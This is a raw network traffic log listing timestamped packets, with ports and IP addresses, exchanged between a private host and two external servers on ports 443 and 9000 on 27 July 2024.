Jul 27, 2024 16:49:48.470690966 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470736027 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470771074 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470822096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470885992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470957041 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471019030 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.471086025 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471149921 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.471220016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471285105 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.471354008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471414089 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.471484900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471546888 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.471611977 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.471676111 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482254982 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482445955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482455969 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482523918 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482578039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482578039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482599974 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482624054 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482671976 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482764006 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482815981 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482834101 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482884884 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.482896090 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482918978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.482953072 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.483050108 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.483104944 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.483117104 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.483165026 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.483177900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.483234882 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.697473049 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.697659969 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.697774887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.697774887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.697837114 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.697879076 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.697954893 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.697971106 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698008060 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698041916 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698169947 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698251009 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698251009 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698312998 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698353052 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698435068 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698463917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698497057 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698517084 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698529959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698559046 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698641062 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698767900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698833942 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698833942 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.698896885 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698935986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.698997974 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699013948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699074984 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699089050 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699103117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699136019 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699203014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699260950 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699273109 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699322939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699330091 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699357986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699390888 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699491978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699548960 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699559927 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699614048 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699620008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699647903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699681044 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699812889 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699872017 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699882030 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699935913 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.699939013 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699959993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.699995041 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700086117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700145006 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700155020 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700211048 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700237989 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700253010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700275898 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700340986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700395107 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700404882 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700455904 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700464964 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700514078 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700545073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700644016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700701952 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700714111 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700768948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700773001 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700792074 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700826883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700923920 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.700980902 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.700992107 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701049089 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701054096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701073885 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701109886 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701199055 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701258898 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701270103 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701323986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701324940 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701344013 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701380014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701469898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701523066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701534033 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701577902 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701601028 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701658964 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701734066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701797009 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701857090 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.701911926 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.701962948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.702013016 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.702023029 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.702076912 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.702097893 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.702120066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.702121019 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.702152014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:49.091303110 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:49.096832037 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:55.035649061 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:55.043123960 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:55.372055054 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:55.382020950 CEST	49738	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:55.397056103 CEST	9000	49738	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:00.749492884 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:00.754918098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:00.755069017 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:00.755907059 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:00.764003992 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644321918 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644382000 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644417048 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644449949 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644515991 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.644561052 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.644561052 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.684622049 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.853653908 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853713989 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853750944 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853781939 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.853785992 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853822947 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853844881 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.853857994 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853893995 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.853960991 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.856085062 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.856134892 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:01.856149912 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:01.903351068 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.061566114 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061619043 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061655998 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061677933 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.061722040 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061757088 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061775923 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.061791897 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.061837912 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.062922955 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.062972069 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.063009977 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.063019991 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.063713074 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.063760996 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.063769102 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.063805103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.063858032 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.064435005 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.106487036 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.271464109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271514893 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271549940 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271578074 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.271583080 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271617889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271640062 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.271651030 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271686077 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271699905 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.271723032 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.271771908 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.275644064 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275710106 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275746107 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275778055 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275779009 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.275813103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275846004 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275878906 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275899887 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.275911093 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275945902 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275980949 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.275998116 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.276065111 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788264036 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788305998 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788363934 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788414955 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788448095 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788454056 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788523912 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788583040 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788624048 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788635015 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788635015 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788660049 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788695097 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788707018 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788729906 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788763046 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788784027 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788795948 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788830042 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788830996 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788866997 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788882017 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788907051 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788938999 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.788961887 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.788973093 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789005995 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789030075 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789040089 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789072990 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789093971 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789108038 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789140940 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789167881 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789175987 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789208889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789232969 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789242983 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789274931 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789298058 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789309025 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789340019 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789361954 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789372921 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.789423943 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.789990902 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790039062 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790055990 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.790076971 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790110111 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790129900 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.790146112 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790179968 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790201902 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.790215969 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790249109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790271044 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:02.790287018 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:02.790340900 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.076601982 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076658010 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076694012 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076730967 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076728106 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.076765060 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076802969 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.076822996 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076858044 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076874018 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.076893091 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076925993 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076945066 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.076958895 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.076992989 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.077011108 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.077029943 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.077081919 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.079936028 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080002069 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080038071 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080049038 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.080075026 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080127001 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.080163956 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080198050 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080233097 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080250978 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.080265999 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080300093 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080319881 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.080333948 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080368996 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080379009 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.080408096 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.080459118 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.081715107 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.081796885 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.081831932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.081849098 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.081867933 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.081903934 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.081922054 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.081938982 CEST	9000	49742	154.82.85.193	192.168.2.4
